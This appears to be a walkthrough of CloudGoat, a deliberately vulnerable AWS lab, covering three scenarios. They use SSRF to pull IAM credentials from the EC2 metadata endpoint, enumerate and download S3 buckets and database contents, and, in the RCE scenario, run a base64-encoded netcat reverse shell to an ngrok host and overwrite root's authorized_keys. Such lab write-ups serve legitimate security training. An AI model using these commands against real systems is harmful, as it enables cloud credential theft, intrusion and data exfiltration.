# AWS Cloud Goat Cloud Goat is a AWS deployment container which is basically a CTF for teaching AWS absuses ## Setting up Cloud Goat Git clone the repo for cloud goat and, install the requirements and run

Cloud goat also requires `Terraform` which is used for managing the cloud infrastructure through templates and policies through cli or through code https://www.terraform.io/downloads

After downloading terraform, move it to `/usr/bin/` and after that you can run `cloudgoat.py`

Before creating a scenario, we need to have a free tier AWS account and for that you do need to provide valid details reagrding the credit card but no amount will be deducted

After logging we need to create a user

On this user we need to set `AdministratorAccess` policy

Skip the `Add tags` option

After creating the user, We'll get AWS session and secret key

Now use `awscli` to configure aws session for this user by creating a profile becuase this script will be using the AWS resources from our account so make to remove them after you are done with the scenarios

You may encounter an error where cloudgoat script may fail to install `terraform-provider-archive` so to fix this issue manually download the binary and place it in `/usr/bin`

## Cloud Breach s3 (Medium) In this scenario we need to query the metadata of EC2 from a reverse proxy and access AWS session then using those keys we need to extract data from s3 bucket, so creating this scenario

To start attacking, we can get the IP address from the generated `start.txt` file

Running an nmap scan (it isn't necessary) we can see that it's an ec2 instance

But it doesn't show anything on the web server

Making a request with `curl` shows that it's configured to work as a proxy to make requests to ec2 metadata

AWS has an IP for metadata which is `169.254.169.254`, so we need to edit the Host header of the request and make a request to `/latest`

So we can make a request to `/latest/meta-data/iam/security-credentials/cg-banking-WAF-Role-cloud_breach_s3_cgidkt0wpx0w0k` , which will show AWS access key

Adding a profile using these keys

We can verify the keys if they are working with ```bsah aws sts get-caller-identity --profile cloud_breach ```

Now we don't know what's the s3 bucket, we can list s3 buckets if it's associated with the AWS key ```bash aws s3 ls --profile cloud_breach ```

To view contents of this s3 bucket we can list it by giving the bucket name which is `cg-cardholder-data-bucket-cloud-breach-s3-cgidkt0wpx0w0k` ```bash aws s3 ls s3://cg-cardholder-data-bucket-cloud-breach-s3-cgidkt0wpx0w0k --profile cloud_breach ```

To copy all files from s3 bucket we can use `cp` to copy files, `--recusrive` to copy all files `.` for the the destination to be the current path ```bash aws s3 --recursive cp s3://cg-cardholder-data-bucket-cloud-breach-s3-cgidkt0wpx0w0k . --profile cloud_breach ```

Accessing any of these file mean that we have compromised s3 bucket which completes this scenario

We can now destory this challenege with `python3 cloudgoat.py destroy cloud_breach_s3`

## EC2 SSRF (Medium) In this scenario we have access to IAM user through which we have to enumerate permissions and find a lambda function through which we can access EC2 instance and extract data from s3 bucket To create this scenario, we need to run `python3 cloudgoat.py create ec2_ssrf`

But at the end this will fail because python3.6 is not supported for creating lambda functions, we can fix it by replacing it with python3.9 by editing `scenarios/ec2_ssrf/terraform/lambda.tf`

Now running the script again to create the scenario

In `start.txt` we havet the acount id and AWS access key for `solus` IAM user

So let's create a profile for solus user with AWS keys

To verify if the AWS keys are working ```bash aws sts get-caller-identity --profile solus ```

Listing lambda functions with ```bash aws lambda list-functions --profile solus --region us-east-1 ```

This reveals EC2 access key, to use them we need to create another profile for this access key, also if we try invoking this function it won't work

So creating aws profile

Running `ec2 describe-instances` to view the instances associated with the access key ```bash aws ec2 describe-instances --profile solus_ec2 --region us-east-1 ```

Scrolling a little down we'll get the instance's IP address which will also reveal public IP

Running nmap scan on EC2 instance to see which ports are open

It has a web server running so let's visit that, the default page had some issues as the creator didn't handle the errors properly

We can resolve this by including `url` GET parameter

As the page tells that this is about SSRF, we can try making a requesst to EC2 metadata on IP `169.254.169.254`

Making a request to `/latest/meta-data/iam/security-credentials/` we'll get the role `cg-ec2-role-ec2_ssrf_cgidne4wv0ljch` for which we can get read the AWS keys

With `aws configure` we can use the AWS keys to create a profile for `ec2_ssrf`

We also need to add the session token

To access s3 bucket, we first to list them with `aws s3 ls --profile ec2_ssrf`

Listing the contents of this bucket will shows us a text file

Downloading this file with `cp`, we'll get AWS keys for another user which seems to be privileged from from the name of the text file

Checking this user's identitiy, it's `shepard`

Now invoking the function which we tried before with solus user but this time trying with shepard ```bash aws lambda invoke --function-name cg-lambda-ec2_ssrf_cgidne4wv0ljch --profile ec2_ssrf_admin --region us-east-1 ./output.txt ```

Reading the response from the text file, we'll see that we completed this scenario

We can destory this scenario with `cloudgoat.py destroy ec2_ssrf`

## RCE Web App (Hard) In this scenario we have access to two IAM users and access s3 bucket which will lead to a vulnerable web app for rce We can create this scenario with `python3 cloudgoat.py create rce_web_app`

But at the end it showed an error that it wasn't able to create RDS (Amazon Relational Database) DB instance because it couldn't find postgres 9.6 because that has been deprecated

This issue can be resolved by replacing the postgres version to 12

Here we have two users `lara` and `mcduck`, so first I'll take the path from `lara` ## Path from Lara Creating a profile for lara by using access and secret key

We can verfiy if the keys are working

From this IAM user we can access s3 bucket ```bash aws s3 ls --profile lara ```

We can see there are three buckets but this user can access only `cg-logs` bucket

To download `cg-lb-logs` folder recursivley ```bash aws s3 cp --recursive s3://cg-logs-s3-bucket-rce-web-app-cgid3ntl2q2i88 . --profile lara ```

On accessing that folder, there's a log file which contained some requests

Making a request to see these urls are alive but they were down

So we know there might be a web app running, we can try listing an ec2 instances through this profile ```bash aws ec2 describe-instances --profile lara --region us-east-1 ```

We scan this ec2 instance for open ports which shows that there's only ssh open the instance

So there's nothing we can do from the ec2, the log file belongs to a load balancer, so we can try lisiting the load balancers with `elbv2 describe-load-balancers` ```bash aws elbv2 describe-load-balancers --profile lara --region us-east-1 ```

We can visit this url and access the site

This talks about visiting "the secret url" which we can find from the logs

This gives us a functionality to execute commands which we can abuse to get a reverse shell

For reverse shell, we can use `ngork` which is used for exposing local port over the internet, I was having issues with ngrok not working with kali linux so I swtiched to ubuntu for getting a shell using busybox variant of `netcat` ```bash echo "rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 0.tcp.ap.ngrok.io 11400 >/tmp/f" |base64 -w0 ```

We can run ngrok with `ngrok tcp 2222`

But issue is when getting a reverse shell, the application stops responding

We can try accessing root's ssh key but it wasn't generated

Since we are root user, we can add our ssh public key and login with the private key

```bash echo "ssh public key " > /root/.ssh/authorized_keys ``` On adding the key I was getting an error due to `Unterminated quoted string`, I am not sure why I was getting that but I wasn't able to add the ssh key

If we check root's authorized_keys file, it says to login as ubuntu

Either the ssh key is being truncated for some reason or it needs a proper format for the key as AWS supports `D25519` and `2048-bit` SSH-2 RSA keys for Linux instances, there is even an issue reported for this part

Generate the key again with `ed25519`

```bash echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG5QcNdp9tUZRQvmkPMDfZpXciiy+7YVTdNI9RyUPbcR arz@kali" > /root/.ssh/authorized_keys ```

We can see that this worked perfectly with no errors which means we can now login into the ec2 instance we found earlier

Having access to EC2, we can query for the metadata from the magic AWS IP `169.254.169.254` ```bash curl 169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-rce_web_app_cgidd9pk8lqvym ```

Using the keys we can create a new profile for aws session

With this user we can access the secrets s3 bucket and find `db.txt`

Downloading the file

From this file we'll get the credentials for database

DB instance can be found with `rds describe-db-instances` ```bash aws rds describe-db-instances --profile rce_web --region us-east-1 ```

This is an internal instance, so we need to access it from ec2

Database can be accessed with `psql` ```bash psql -h cg-rds-instance-rce-web-app-cgidd9pk8lqvym.cvqhxg0xsdki.us-east-1.rds.amazonaws.com -U cgadmin -d cloudgoat ```

Lisiting the tables with `\d`

we have a table named `sensitive_information`, so let's query the table with `select * from sensitive_information`

By having the secret password, the rce scenario will be completed ## Path from McDuck Using McDuck's aws keys

With this user we can try listing s3 buckets

Now with `lara` we were only able to access the `cg-logs` bucket but with `mcduck` we can access `cg-keystore` bucket

Downloading the public and private keys

From lara we arleady know the IP of the ec2 instance so we can login using ubuntu user through ssh

From here we could either get the keys from metdata or install awscli, access s3 bucket to get the credentials to the database, list the realation database instance and use postgresql client to access database, since we have sudo privileges we can become root user

```bash apt install awscli ```

```bash aws sts get-caller-identity ```

Accessing the s3 bucket to get database credentials

Now getting database instance's IP ```bash aws rds describe-db-instances --region us-east-1 ```

And with the credentials and database's instance we'll able to login and complete the scenario like we did with lara user. ## References - https://github.com/RhinoSecurityLabs/cloudgoat - https://www.terraform.io/downloads - https://rhinosecuritylabs.com/aws/introducing-cloudgoat-2/ - https://pentestbook.six2dez.com/enumeration/cloud/aws - https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/CHAP_PostgreSQL.html - https://www.bluematador.com/learn/aws-cli-cheatsheet - https://github.com/RhinoSecurityLabs/cloudgoat/issues/49 - https://book.hacktricks.xyz/network-services-pentesting/pentesting-postgresql